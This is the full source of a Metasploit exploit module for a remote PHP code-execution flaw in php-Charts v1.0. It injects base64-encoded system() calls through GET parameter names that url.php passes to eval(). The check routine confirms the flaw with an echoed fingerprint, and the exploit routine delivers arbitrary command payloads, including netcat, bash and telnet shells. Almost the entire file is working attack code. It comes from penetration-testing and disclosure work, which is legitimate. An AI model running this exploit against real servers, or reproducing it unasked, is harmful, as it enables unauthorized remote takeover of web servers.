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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "PHP-Charts v1.0 PHP Code Execution Vulnerability", 'Description'=> %q{ This module exploits a PHP code execution vulnerability in php-Charts version 1.0 which could be abused to allow users to execute arbitrary PHP code under the context of the webserver user. The 'url.php' script calls eval() with user controlled data from any HTTP GET parameter name. }, 'License'=> MSF_LICENSE, 'Author' => [ 'AkaStep', # Discovery and PoC 'Brendan Coles <bcoles[at]gmail.com>' # msf exploit ], 'References' => [ ['OSVDB', '89334'], ['BID', '57448'], ['EDB', '24201'] ], 'Payload'=> { 'BadChars' => "\x00\x0a\x0d\x22", 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python', } }, 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Jan 16 2013", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']), ], self.class) end def check base= target_uri.path base << '/' if base[-1, 1] != '/' peer= "#{rhost}:#{rport}" fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4) code= Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}")) rand_key_value = rand_text_alphanumeric(rand(10)+6) # send check print_status("#{peer} - Sending check") begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}" }) if res and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def exploit base= target_uri.path base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" code= Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&")) rand_key_value = rand_text_alphanumeric(rand(10)+6) # send payload print_status("#{@peer} - Sending payload (#{code.length} bytes)") begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}" }) if res and res.code == 500 print_good("#{@peer} - Payload sent successfully") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end end end |
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